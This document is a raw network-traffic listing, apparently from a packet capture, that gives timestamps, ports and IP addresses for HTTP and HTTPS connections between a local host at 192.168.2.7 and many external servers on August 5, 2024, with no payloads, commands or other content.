Aug 5, 2024 12:01:06.336801052 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:06.336811066 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:06.336821079 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:06.336831093 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:06.336832047 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:06.336843014 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:06.336853027 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:06.336858988 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:06.336863041 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:06.336916924 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:06.336916924 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:06.337308884 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:06.337320089 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:06.337337017 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:06.337338924 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:06.337342978 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:06.337346077 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:06.337352037 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:06.337354898 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:06.337363005 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:06.337374926 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:06.337385893 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:06.337400913 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:06.337413073 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:06.337416887 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:06.337416887 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:06.337464094 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:06.337547064 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:06.342891932 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:06.342948914 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:07.013964891 CEST	49863	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:01:07.013964891 CEST	49863	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:01:07.013999939 CEST	443	49863	142.250.185.65	192.168.2.7
Aug 5, 2024 12:01:07.014014006 CEST	443	49863	142.250.185.65	192.168.2.7
Aug 5, 2024 12:01:07.015851021 CEST	49862	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:01:07.015871048 CEST	443	49862	142.250.185.174	192.168.2.7
Aug 5, 2024 12:01:07.016371012 CEST	49861	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:01:07.016386032 CEST	443	49861	142.250.185.174	192.168.2.7
Aug 5, 2024 12:01:07.016815901 CEST	443	49861	142.250.185.174	192.168.2.7
Aug 5, 2024 12:01:07.016899109 CEST	443	49862	142.250.185.174	192.168.2.7
Aug 5, 2024 12:01:07.016913891 CEST	49861	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:01:07.017086029 CEST	49862	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:01:07.378413916 CEST	443	49863	142.250.185.65	192.168.2.7
Aug 5, 2024 12:01:07.378513098 CEST	443	49863	142.250.185.65	192.168.2.7
Aug 5, 2024 12:01:07.378658056 CEST	49863	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:01:07.378675938 CEST	443	49863	142.250.185.65	192.168.2.7
Aug 5, 2024 12:01:07.378827095 CEST	49863	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:01:07.379090071 CEST	443	49863	142.250.185.65	192.168.2.7
Aug 5, 2024 12:01:07.379193068 CEST	443	49863	142.250.185.65	192.168.2.7
Aug 5, 2024 12:01:07.379329920 CEST	49863	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:01:13.205430984 CEST	49871	80	192.168.2.7	47.88.251.189
Aug 5, 2024 12:01:13.210282087 CEST	80	49871	47.88.251.189	192.168.2.7
Aug 5, 2024 12:01:13.210339069 CEST	49871	80	192.168.2.7	47.88.251.189
Aug 5, 2024 12:01:13.210470915 CEST	49871	80	192.168.2.7	47.88.251.189
Aug 5, 2024 12:01:13.215269089 CEST	80	49871	47.88.251.189	192.168.2.7
Aug 5, 2024 12:01:13.298942089 CEST	49872	80	192.168.2.7	103.102.202.144
Aug 5, 2024 12:01:13.303780079 CEST	80	49872	103.102.202.144	192.168.2.7
Aug 5, 2024 12:01:13.303847075 CEST	49872	80	192.168.2.7	103.102.202.144
Aug 5, 2024 12:01:13.303945065 CEST	49872	80	192.168.2.7	103.102.202.144
Aug 5, 2024 12:01:13.308732986 CEST	80	49872	103.102.202.144	192.168.2.7
Aug 5, 2024 12:01:13.413786888 CEST	49873	80	192.168.2.7	123.125.23.91
Aug 5, 2024 12:01:13.418984890 CEST	80	49873	123.125.23.91	192.168.2.7
Aug 5, 2024 12:01:13.419048071 CEST	49873	80	192.168.2.7	123.125.23.91
Aug 5, 2024 12:01:13.419178963 CEST	49873	80	192.168.2.7	123.125.23.91
Aug 5, 2024 12:01:13.425801039 CEST	80	49873	123.125.23.91	192.168.2.7
Aug 5, 2024 12:01:13.478147030 CEST	49874	80	192.168.2.7	163.181.42.240
Aug 5, 2024 12:01:13.486187935 CEST	80	49874	163.181.42.240	192.168.2.7
Aug 5, 2024 12:01:13.486243963 CEST	49874	80	192.168.2.7	163.181.42.240
Aug 5, 2024 12:01:13.486375093 CEST	49874	80	192.168.2.7	163.181.42.240
Aug 5, 2024 12:01:13.491206884 CEST	80	49874	163.181.42.240	192.168.2.7
Aug 5, 2024 12:01:13.684371948 CEST	49876	80	192.168.2.7	43.159.71.118
Aug 5, 2024 12:01:13.689224005 CEST	80	49876	43.159.71.118	192.168.2.7
Aug 5, 2024 12:01:13.689318895 CEST	49876	80	192.168.2.7	43.159.71.118
Aug 5, 2024 12:01:13.689481974 CEST	49876	80	192.168.2.7	43.159.71.118
Aug 5, 2024 12:01:13.695384026 CEST	80	49876	43.159.71.118	192.168.2.7
Aug 5, 2024 12:01:13.714858055 CEST	49877	80	192.168.2.7	43.152.186.103
Aug 5, 2024 12:01:13.719840050 CEST	80	49877	43.152.186.103	192.168.2.7
Aug 5, 2024 12:01:13.719894886 CEST	49877	80	192.168.2.7	43.152.186.103
Aug 5, 2024 12:01:13.720027924 CEST	49877	80	192.168.2.7	43.152.186.103
Aug 5, 2024 12:01:13.724836111 CEST	80	49877	43.152.186.103	192.168.2.7
Aug 5, 2024 12:01:13.745016098 CEST	49878	80	192.168.2.7	119.28.109.132
Aug 5, 2024 12:01:13.746479034 CEST	49879	80	192.168.2.7	103.235.47.188
Aug 5, 2024 12:01:13.749862909 CEST	80	49878	119.28.109.132	192.168.2.7
Aug 5, 2024 12:01:13.749922037 CEST	49878	80	192.168.2.7	119.28.109.132
Aug 5, 2024 12:01:13.750118971 CEST	49878	80	192.168.2.7	119.28.109.132
Aug 5, 2024 12:01:13.751292944 CEST	80	49879	103.235.47.188	192.168.2.7
Aug 5, 2024 12:01:13.751374006 CEST	49879	80	192.168.2.7	103.235.47.188
Aug 5, 2024 12:01:13.751547098 CEST	49879	80	192.168.2.7	103.235.47.188
Aug 5, 2024 12:01:13.754817963 CEST	80	49878	119.28.109.132	192.168.2.7
Aug 5, 2024 12:01:13.756361961 CEST	80	49879	103.235.47.188	192.168.2.7
Aug 5, 2024 12:01:13.823908091 CEST	49880	80	192.168.2.7	49.51.130.237
Aug 5, 2024 12:01:13.828737974 CEST	80	49880	49.51.130.237	192.168.2.7
Aug 5, 2024 12:01:13.828788996 CEST	49880	80	192.168.2.7	49.51.130.237
Aug 5, 2024 12:01:13.828952074 CEST	49880	80	192.168.2.7	49.51.130.237
Aug 5, 2024 12:01:13.833697081 CEST	80	49880	49.51.130.237	192.168.2.7
Aug 5, 2024 12:01:13.871730089 CEST	49881	80	192.168.2.7	163.181.201.231
Aug 5, 2024 12:01:13.876760960 CEST	80	49881	163.181.201.231	192.168.2.7
Aug 5, 2024 12:01:13.877002954 CEST	49881	80	192.168.2.7	163.181.201.231
Aug 5, 2024 12:01:13.877185106 CEST	49881	80	192.168.2.7	163.181.201.231
Aug 5, 2024 12:01:13.882208109 CEST	80	49881	163.181.201.231	192.168.2.7
Aug 5, 2024 12:01:13.890088081 CEST	49882	80	192.168.2.7	163.171.132.119
Aug 5, 2024 12:01:13.895071030 CEST	80	49882	163.171.132.119	192.168.2.7
Aug 5, 2024 12:01:13.895692110 CEST	49882	80	192.168.2.7	163.171.132.119
Aug 5, 2024 12:01:13.899759054 CEST	49882	80	192.168.2.7	163.171.132.119
Aug 5, 2024 12:01:13.904572964 CEST	80	49882	163.171.132.119	192.168.2.7
Aug 5, 2024 12:01:13.922045946 CEST	49883	80	192.168.2.7	104.192.110.226
Aug 5, 2024 12:01:13.926958084 CEST	80	49883	104.192.110.226	192.168.2.7
Aug 5, 2024 12:01:13.927110910 CEST	49883	80	192.168.2.7	104.192.110.226
Aug 5, 2024 12:01:13.927239895 CEST	49883	80	192.168.2.7	104.192.110.226
Aug 5, 2024 12:01:13.931993008 CEST	80	49883	104.192.110.226	192.168.2.7
Aug 5, 2024 12:01:13.970381021 CEST	49884	80	192.168.2.7	163.181.130.180
Aug 5, 2024 12:01:13.975153923 CEST	80	49884	163.181.130.180	192.168.2.7
Aug 5, 2024 12:01:13.975243092 CEST	49884	80	192.168.2.7	163.181.130.180
Aug 5, 2024 12:01:13.975497007 CEST	49884	80	192.168.2.7	163.181.130.180
Aug 5, 2024 12:01:13.980449915 CEST	80	49884	163.181.130.180	192.168.2.7
Aug 5, 2024 12:01:14.089180946 CEST	49885	80	192.168.2.7	111.124.200.101
Aug 5, 2024 12:01:14.094031096 CEST	80	49885	111.124.200.101	192.168.2.7
Aug 5, 2024 12:01:14.094136000 CEST	49885	80	192.168.2.7	111.124.200.101
Aug 5, 2024 12:01:14.094295025 CEST	49885	80	192.168.2.7	111.124.200.101
Aug 5, 2024 12:01:14.099098921 CEST	80	49885	111.124.200.101	192.168.2.7
Aug 5, 2024 12:01:14.151726007 CEST	49886	80	192.168.2.7	120.26.110.170
Aug 5, 2024 12:01:14.156593084 CEST	80	49886	120.26.110.170	192.168.2.7
Aug 5, 2024 12:01:14.156717062 CEST	49886	80	192.168.2.7	120.26.110.170
Aug 5, 2024 12:01:14.156922102 CEST	49886	80	192.168.2.7	120.26.110.170
Aug 5, 2024 12:01:14.159276009 CEST	80	49871	47.88.251.189	192.168.2.7
Aug 5, 2024 12:01:14.161731005 CEST	80	49886	120.26.110.170	192.168.2.7
Aug 5, 2024 12:01:14.163485050 CEST	49871	80	192.168.2.7	47.88.251.189
Aug 5, 2024 12:01:14.194658041 CEST	49887	80	192.168.2.7	103.235.46.98
Aug 5, 2024 12:01:14.199579000 CEST	80	49887	103.235.46.98	192.168.2.7
Aug 5, 2024 12:01:14.199696064 CEST	49887	80	192.168.2.7	103.235.46.98
Aug 5, 2024 12:01:14.201164007 CEST	49887	80	192.168.2.7	103.235.46.98
Aug 5, 2024 12:01:14.206017017 CEST	80	49887	103.235.46.98	192.168.2.7
Aug 5, 2024 12:01:14.347335100 CEST	49888	80	192.168.2.7	47.246.46.229
Aug 5, 2024 12:01:14.352437973 CEST	80	49888	47.246.46.229	192.168.2.7
Aug 5, 2024 12:01:14.352538109 CEST	49888	80	192.168.2.7	47.246.46.229
Aug 5, 2024 12:01:14.352879047 CEST	49888	80	192.168.2.7	47.246.46.229
Aug 5, 2024 12:01:14.358618975 CEST	80	49888	47.246.46.229	192.168.2.7
Aug 5, 2024 12:01:14.383821964 CEST	80	49872	103.102.202.144	192.168.2.7
Aug 5, 2024 12:01:14.387053967 CEST	49872	80	192.168.2.7	103.102.202.144
Aug 5, 2024 12:01:14.387434006 CEST	80	49873	123.125.23.91	192.168.2.7
Aug 5, 2024 12:01:14.390196085 CEST	49873	80	192.168.2.7	123.125.23.91
Aug 5, 2024 12:01:14.408855915 CEST	80	49874	163.181.42.240	192.168.2.7
Aug 5, 2024 12:01:14.413857937 CEST	49874	80	192.168.2.7	163.181.42.240
Aug 5, 2024 12:01:14.450582027 CEST	49889	80	192.168.2.7	113.219.142.35
Aug 5, 2024 12:01:14.455230951 CEST	80	49880	49.51.130.237	192.168.2.7
Aug 5, 2024 12:01:14.455653906 CEST	80	49889	113.219.142.35	192.168.2.7
Aug 5, 2024 12:01:14.455976009 CEST	49889	80	192.168.2.7	113.219.142.35
Aug 5, 2024 12:01:14.455976009 CEST	49889	80	192.168.2.7	113.219.142.35
Aug 5, 2024 12:01:14.458365917 CEST	49880	80	192.168.2.7	49.51.130.237
Aug 5, 2024 12:01:14.460082054 CEST	49890	80	192.168.2.7	47.94.225.221
Aug 5, 2024 12:01:14.460774899 CEST	80	49889	113.219.142.35	192.168.2.7
Aug 5, 2024 12:01:14.464922905 CEST	80	49890	47.94.225.221	192.168.2.7
Aug 5, 2024 12:01:14.465100050 CEST	49890	80	192.168.2.7	47.94.225.221
Aug 5, 2024 12:01:14.465100050 CEST	49890	80	192.168.2.7	47.94.225.221
Aug 5, 2024 12:01:14.469960928 CEST	80	49890	47.94.225.221	192.168.2.7
Aug 5, 2024 12:01:14.531291008 CEST	80	49882	163.171.132.119	192.168.2.7
Aug 5, 2024 12:01:14.536773920 CEST	49882	80	192.168.2.7	163.171.132.119
Aug 5, 2024 12:01:14.542083979 CEST	80	49882	163.171.132.119	192.168.2.7
Aug 5, 2024 12:01:14.542222977 CEST	49882	80	192.168.2.7	163.171.132.119
Aug 5, 2024 12:01:14.564529896 CEST	49891	80	192.168.2.7	43.159.119.252
Aug 5, 2024 12:01:14.569391966 CEST	80	49891	43.159.119.252	192.168.2.7
Aug 5, 2024 12:01:14.569489956 CEST	49891	80	192.168.2.7	43.159.119.252
Aug 5, 2024 12:01:14.570146084 CEST	49891	80	192.168.2.7	43.159.119.252
Aug 5, 2024 12:01:14.575207949 CEST	80	49891	43.159.119.252	192.168.2.7
Aug 5, 2024 12:01:14.596313000 CEST	80	49884	163.181.130.180	192.168.2.7
Aug 5, 2024 12:01:14.598171949 CEST	80	49877	43.152.186.103	192.168.2.7
Aug 5, 2024 12:01:14.601155043 CEST	49884	80	192.168.2.7	163.181.130.180
Aug 5, 2024 12:01:14.603164911 CEST	49877	80	192.168.2.7	43.152.186.103
Aug 5, 2024 12:01:14.608850002 CEST	80	49877	43.152.186.103	192.168.2.7
Aug 5, 2024 12:01:14.608944893 CEST	49877	80	192.168.2.7	43.152.186.103
Aug 5, 2024 12:01:14.610275030 CEST	80	49876	43.159.71.118	192.168.2.7
Aug 5, 2024 12:01:14.613624096 CEST	49876	80	192.168.2.7	43.159.71.118
Aug 5, 2024 12:01:14.618944883 CEST	80	49876	43.159.71.118	192.168.2.7
Aug 5, 2024 12:01:14.619028091 CEST	49876	80	192.168.2.7	43.159.71.118
Aug 5, 2024 12:01:14.642981052 CEST	49892	80	192.168.2.7	161.117.242.93
Aug 5, 2024 12:01:14.647856951 CEST	80	49892	161.117.242.93	192.168.2.7
Aug 5, 2024 12:01:14.649209976 CEST	49892	80	192.168.2.7	161.117.242.93
Aug 5, 2024 12:01:14.649209976 CEST	49892	80	192.168.2.7	161.117.242.93
Aug 5, 2024 12:01:14.654190063 CEST	80	49892	161.117.242.93	192.168.2.7
Aug 5, 2024 12:01:14.684703112 CEST	80	49879	103.235.47.188	192.168.2.7
Aug 5, 2024 12:01:14.684740067 CEST	80	49879	103.235.47.188	192.168.2.7
Aug 5, 2024 12:01:14.684746027 CEST	80	49879	103.235.47.188	192.168.2.7
Aug 5, 2024 12:01:14.684838057 CEST	49879	80	192.168.2.7	103.235.47.188
Aug 5, 2024 12:01:14.684956074 CEST	80	49879	103.235.47.188	192.168.2.7
Aug 5, 2024 12:01:14.684962034 CEST	80	49879	103.235.47.188	192.168.2.7
Aug 5, 2024 12:01:14.684973955 CEST	80	49879	103.235.47.188	192.168.2.7
Aug 5, 2024 12:01:14.684982061 CEST	80	49879	103.235.47.188	192.168.2.7
Aug 5, 2024 12:01:14.685003996 CEST	49879	80	192.168.2.7	103.235.47.188
Aug 5, 2024 12:01:14.685101032 CEST	49879	80	192.168.2.7	103.235.47.188
Aug 5, 2024 12:01:14.685250998 CEST	80	49879	103.235.47.188	192.168.2.7
Aug 5, 2024 12:01:14.685256958 CEST	80	49879	103.235.47.188	192.168.2.7
Aug 5, 2024 12:01:14.685269117 CEST	80	49879	103.235.47.188	192.168.2.7
Aug 5, 2024 12:01:14.685360909 CEST	49879	80	192.168.2.7	103.235.47.188
Aug 5, 2024 12:01:14.689673901 CEST	80	49879	103.235.47.188	192.168.2.7
Aug 5, 2024 12:01:14.689687967 CEST	80	49879	103.235.47.188	192.168.2.7
Aug 5, 2024 12:01:14.689868927 CEST	49879	80	192.168.2.7	103.235.47.188
Aug 5, 2024 12:01:14.698532104 CEST	49879	80	192.168.2.7	103.235.47.188
Aug 5, 2024 12:01:14.823389053 CEST	80	49881	163.181.201.231	192.168.2.7
Aug 5, 2024 12:01:14.829616070 CEST	49881	80	192.168.2.7	163.181.201.231
Aug 5, 2024 12:01:14.844775915 CEST	80	49878	119.28.109.132	192.168.2.7
Aug 5, 2024 12:01:14.850415945 CEST	49878	80	192.168.2.7	119.28.109.132
Aug 5, 2024 12:01:14.955554008 CEST	80	49883	104.192.110.226	192.168.2.7
Aug 5, 2024 12:01:14.959295988 CEST	49883	80	192.168.2.7	104.192.110.226
Aug 5, 2024 12:01:15.005110979 CEST	80	49888	47.246.46.229	192.168.2.7
Aug 5, 2024 12:01:15.010715008 CEST	49888	80	192.168.2.7	47.246.46.229
Aug 5, 2024 12:01:15.020946980 CEST	80	49891	43.159.119.252	192.168.2.7
Aug 5, 2024 12:01:15.023551941 CEST	49891	80	192.168.2.7	43.159.119.252
Aug 5, 2024 12:01:15.028837919 CEST	80	49891	43.159.119.252	192.168.2.7
Aug 5, 2024 12:01:15.028913021 CEST	49891	80	192.168.2.7	43.159.119.252
Aug 5, 2024 12:01:15.260835886 CEST	80	49886	120.26.110.170	192.168.2.7
Aug 5, 2024 12:01:15.260850906 CEST	80	49886	120.26.110.170	192.168.2.7
Aug 5, 2024 12:01:15.260862112 CEST	80	49886	120.26.110.170	192.168.2.7
Aug 5, 2024 12:01:15.260919094 CEST	49886	80	192.168.2.7	120.26.110.170
Aug 5, 2024 12:01:15.260967016 CEST	80	49886	120.26.110.170	192.168.2.7
Aug 5, 2024 12:01:15.260979891 CEST	80	49886	120.26.110.170	192.168.2.7
Aug 5, 2024 12:01:15.260992050 CEST	80	49886	120.26.110.170	192.168.2.7
Aug 5, 2024 12:01:15.261029959 CEST	49886	80	192.168.2.7	120.26.110.170
Aug 5, 2024 12:01:15.261044025 CEST	49886	80	192.168.2.7	120.26.110.170
Aug 5, 2024 12:01:15.261203051 CEST	80	49886	120.26.110.170	192.168.2.7
Aug 5, 2024 12:01:15.261255026 CEST	80	49886	120.26.110.170	192.168.2.7
Aug 5, 2024 12:01:15.261266947 CEST	80	49886	120.26.110.170	192.168.2.7
Aug 5, 2024 12:01:15.261282921 CEST	80	49886	120.26.110.170	192.168.2.7
Aug 5, 2024 12:01:15.261296034 CEST	49886	80	192.168.2.7	120.26.110.170
Aug 5, 2024 12:01:15.261327028 CEST	49886	80	192.168.2.7	120.26.110.170
Aug 5, 2024 12:01:15.266035080 CEST	80	49886	120.26.110.170	192.168.2.7
Aug 5, 2024 12:01:15.266092062 CEST	80	49886	120.26.110.170	192.168.2.7
Aug 5, 2024 12:01:15.266102076 CEST	80	49886	120.26.110.170	192.168.2.7
Aug 5, 2024 12:01:15.266148090 CEST	49886	80	192.168.2.7	120.26.110.170
Aug 5, 2024 12:01:15.318912983 CEST	49886	80	192.168.2.7	120.26.110.170
Aug 5, 2024 12:01:15.595864058 CEST	80	49890	47.94.225.221	192.168.2.7
Aug 5, 2024 12:01:15.597491980 CEST	80	49887	103.235.46.98	192.168.2.7
Aug 5, 2024 12:01:15.597506046 CEST	80	49887	103.235.46.98	192.168.2.7
Aug 5, 2024 12:01:15.597515106 CEST	80	49887	103.235.46.98	192.168.2.7
Aug 5, 2024 12:01:15.597583055 CEST	49887	80	192.168.2.7	103.235.46.98
Aug 5, 2024 12:01:15.597589016 CEST	80	49887	103.235.46.98	192.168.2.7
Aug 5, 2024 12:01:15.597601891 CEST	80	49887	103.235.46.98	192.168.2.7
Aug 5, 2024 12:01:15.597640991 CEST	49887	80	192.168.2.7	103.235.46.98
Aug 5, 2024 12:01:15.597822905 CEST	80	49887	103.235.46.98	192.168.2.7
Aug 5, 2024 12:01:15.597834110 CEST	80	49887	103.235.46.98	192.168.2.7
Aug 5, 2024 12:01:15.597845078 CEST	80	49887	103.235.46.98	192.168.2.7
Aug 5, 2024 12:01:15.597855091 CEST	80	49887	103.235.46.98	192.168.2.7
Aug 5, 2024 12:01:15.597867012 CEST	80	49887	103.235.46.98	192.168.2.7
Aug 5, 2024 12:01:15.597882032 CEST	49887	80	192.168.2.7	103.235.46.98
Aug 5, 2024 12:01:15.597927094 CEST	49887	80	192.168.2.7	103.235.46.98
Aug 5, 2024 12:01:15.598223925 CEST	80	49887	103.235.46.98	192.168.2.7
Aug 5, 2024 12:01:15.598536968 CEST	80	49885	111.124.200.101	192.168.2.7
Aug 5, 2024 12:01:15.602648020 CEST	80	49890	47.94.225.221	192.168.2.7
Aug 5, 2024 12:01:15.602788925 CEST	80	49887	103.235.46.98	192.168.2.7
Aug 5, 2024 12:01:15.602849960 CEST	49890	80	192.168.2.7	47.94.225.221
Aug 5, 2024 12:01:15.603212118 CEST	80	49887	103.235.46.98	192.168.2.7
Aug 5, 2024 12:01:15.603259087 CEST	49887	80	192.168.2.7	103.235.46.98
Aug 5, 2024 12:01:15.642016888 CEST	49885	80	192.168.2.7	111.124.200.101
Aug 5, 2024 12:01:15.657643080 CEST	49887	80	192.168.2.7	103.235.46.98
Aug 5, 2024 12:01:15.675756931 CEST	80	49887	103.235.46.98	192.168.2.7
Aug 5, 2024 12:01:15.676017046 CEST	80	49887	103.235.46.98	192.168.2.7
Aug 5, 2024 12:01:15.676038027 CEST	80	49887	103.235.46.98	192.168.2.7
Aug 5, 2024 12:01:15.676049948 CEST	80	49887	103.235.46.98	192.168.2.7
Aug 5, 2024 12:01:15.676088095 CEST	49887	80	192.168.2.7	103.235.46.98
Aug 5, 2024 12:01:15.676135063 CEST	49887	80	192.168.2.7	103.235.46.98
Aug 5, 2024 12:01:15.676207066 CEST	80	49887	103.235.46.98	192.168.2.7
Aug 5, 2024 12:01:15.676219940 CEST	80	49887	103.235.46.98	192.168.2.7
Aug 5, 2024 12:01:15.676259041 CEST	49887	80	192.168.2.7	103.235.46.98
Aug 5, 2024 12:01:15.676331997 CEST	80	49887	103.235.46.98	192.168.2.7
Aug 5, 2024 12:01:15.676698923 CEST	80	49887	103.235.46.98	192.168.2.7
Aug 5, 2024 12:01:15.676799059 CEST	80	49887	103.235.46.98	192.168.2.7
Aug 5, 2024 12:01:15.676810980 CEST	80	49887	103.235.46.98	192.168.2.7
Aug 5, 2024 12:01:15.676843882 CEST	49887	80	192.168.2.7	103.235.46.98
Aug 5, 2024 12:01:15.676867962 CEST	49887	80	192.168.2.7	103.235.46.98
Aug 5, 2024 12:01:15.676987886 CEST	80	49887	103.235.46.98	192.168.2.7
Aug 5, 2024 12:01:15.677000046 CEST	80	49887	103.235.46.98	192.168.2.7
Aug 5, 2024 12:01:15.677041054 CEST	49887	80	192.168.2.7	103.235.46.98
Aug 5, 2024 12:01:15.677553892 CEST	80	49887	103.235.46.98	192.168.2.7
Aug 5, 2024 12:01:15.677639008 CEST	80	49887	103.235.46.98	192.168.2.7
Aug 5, 2024 12:01:15.677649021 CEST	80	49887	103.235.46.98	192.168.2.7
Aug 5, 2024 12:01:15.677690983 CEST	49887	80	192.168.2.7	103.235.46.98
Aug 5, 2024 12:01:15.677831888 CEST	80	49887	103.235.46.98	192.168.2.7
Aug 5, 2024 12:01:15.677843094 CEST	80	49887	103.235.46.98	192.168.2.7
Aug 5, 2024 12:01:15.677874088 CEST	49887	80	192.168.2.7	103.235.46.98
Aug 5, 2024 12:01:15.678430080 CEST	80	49887	103.235.46.98	192.168.2.7
Aug 5, 2024 12:01:15.678476095 CEST	49887	80	192.168.2.7	103.235.46.98
Aug 5, 2024 12:01:15.678514957 CEST	80	49887	103.235.46.98	192.168.2.7
Aug 5, 2024 12:01:15.678525925 CEST	80	49887	103.235.46.98	192.168.2.7
Aug 5, 2024 12:01:15.678563118 CEST	49887	80	192.168.2.7	103.235.46.98
Aug 5, 2024 12:01:15.680849075 CEST	80	49887	103.235.46.98	192.168.2.7
Aug 5, 2024 12:01:15.680938959 CEST	80	49887	103.235.46.98	192.168.2.7
Aug 5, 2024 12:01:15.680948019 CEST	80	49887	103.235.46.98	192.168.2.7
Aug 5, 2024 12:01:15.680989027 CEST	49887	80	192.168.2.7	103.235.46.98
Aug 5, 2024 12:01:15.722147942 CEST	80	49887	103.235.46.98	192.168.2.7
Aug 5, 2024 12:01:15.722306013 CEST	80	49887	103.235.46.98	192.168.2.7
Aug 5, 2024 12:01:15.722317934 CEST	49887	80	192.168.2.7	103.235.46.98
Aug 5, 2024 12:01:15.762550116 CEST	80	49887	103.235.46.98	192.168.2.7
Aug 5, 2024 12:01:15.762577057 CEST	80	49887	103.235.46.98	192.168.2.7
Aug 5, 2024 12:01:15.762641907 CEST	49887	80	192.168.2.7	103.235.46.98
Aug 5, 2024 12:01:15.880104065 CEST	80	49887	103.235.46.98	192.168.2.7
Aug 5, 2024 12:01:15.880177975 CEST	80	49887	103.235.46.98	192.168.2.7
Aug 5, 2024 12:01:15.880234003 CEST	49887	80	192.168.2.7	103.235.46.98
Aug 5, 2024 12:01:15.884850025 CEST	80	49887	103.235.46.98	192.168.2.7
Aug 5, 2024 12:01:15.884897947 CEST	80	49887	103.235.46.98	192.168.2.7
Aug 5, 2024 12:01:15.884908915 CEST	80	49887	103.235.46.98	192.168.2.7
Aug 5, 2024 12:01:15.884942055 CEST	49887	80	192.168.2.7	103.235.46.98
Aug 5, 2024 12:01:15.885032892 CEST	80	49887	103.235.46.98	192.168.2.7
Aug 5, 2024 12:01:15.885044098 CEST	80	49887	103.235.46.98	192.168.2.7
Aug 5, 2024 12:01:15.885056019 CEST	80	49887	103.235.46.98	192.168.2.7
Aug 5, 2024 12:01:15.885066986 CEST	80	49887	103.235.46.98	192.168.2.7
Aug 5, 2024 12:01:15.885075092 CEST	49887	80	192.168.2.7	103.235.46.98
Aug 5, 2024 12:01:15.885109901 CEST	49887	80	192.168.2.7	103.235.46.98
Aug 5, 2024 12:01:15.885303974 CEST	80	49887	103.235.46.98	192.168.2.7
Aug 5, 2024 12:01:15.885317087 CEST	80	49887	103.235.46.98	192.168.2.7
Aug 5, 2024 12:01:15.885344982 CEST	49887	80	192.168.2.7	103.235.46.98
Aug 5, 2024 12:01:15.885473967 CEST	80	49887	103.235.46.98	192.168.2.7
Aug 5, 2024 12:01:15.885515928 CEST	49887	80	192.168.2.7	103.235.46.98
Aug 5, 2024 12:01:15.885525942 CEST	80	49887	103.235.46.98	192.168.2.7
Aug 5, 2024 12:01:15.885538101 CEST	80	49887	103.235.46.98	192.168.2.7
Aug 5, 2024 12:01:15.885571003 CEST	49887	80	192.168.2.7	103.235.46.98
Aug 5, 2024 12:01:15.885654926 CEST	80	49887	103.235.46.98	192.168.2.7
Aug 5, 2024 12:01:15.885835886 CEST	80	49887	103.235.46.98	192.168.2.7
Aug 5, 2024 12:01:15.885875940 CEST	49887	80	192.168.2.7	103.235.46.98
Aug 5, 2024 12:01:15.885917902 CEST	80	49887	103.235.46.98	192.168.2.7
Aug 5, 2024 12:01:15.885930061 CEST	80	49887	103.235.46.98	192.168.2.7
Aug 5, 2024 12:01:15.885967970 CEST	49887	80	192.168.2.7	103.235.46.98
Aug 5, 2024 12:01:15.886060953 CEST	80	49887	103.235.46.98	192.168.2.7
Aug 5, 2024 12:01:15.886073112 CEST	80	49887	103.235.46.98	192.168.2.7
Aug 5, 2024 12:01:15.886082888 CEST	80	49887	103.235.46.98	192.168.2.7
Aug 5, 2024 12:01:15.886109114 CEST	49887	80	192.168.2.7	103.235.46.98
Aug 5, 2024 12:01:15.886282921 CEST	80	49887	103.235.46.98	192.168.2.7
Aug 5, 2024 12:01:15.886295080 CEST	80	49887	103.235.46.98	192.168.2.7
Aug 5, 2024 12:01:15.886306047 CEST	80	49887	103.235.46.98	192.168.2.7
Aug 5, 2024 12:01:15.886323929 CEST	49887	80	192.168.2.7	103.235.46.98
Aug 5, 2024 12:01:15.886346102 CEST	49887	80	192.168.2.7	103.235.46.98
Aug 5, 2024 12:01:15.886456013 CEST	80	49887	103.235.46.98	192.168.2.7
Aug 5, 2024 12:01:15.886466980 CEST	80	49887	103.235.46.98	192.168.2.7
Aug 5, 2024 12:01:15.886503935 CEST	49887	80	192.168.2.7	103.235.46.98
Aug 5, 2024 12:01:15.886679888 CEST	80	49887	103.235.46.98	192.168.2.7
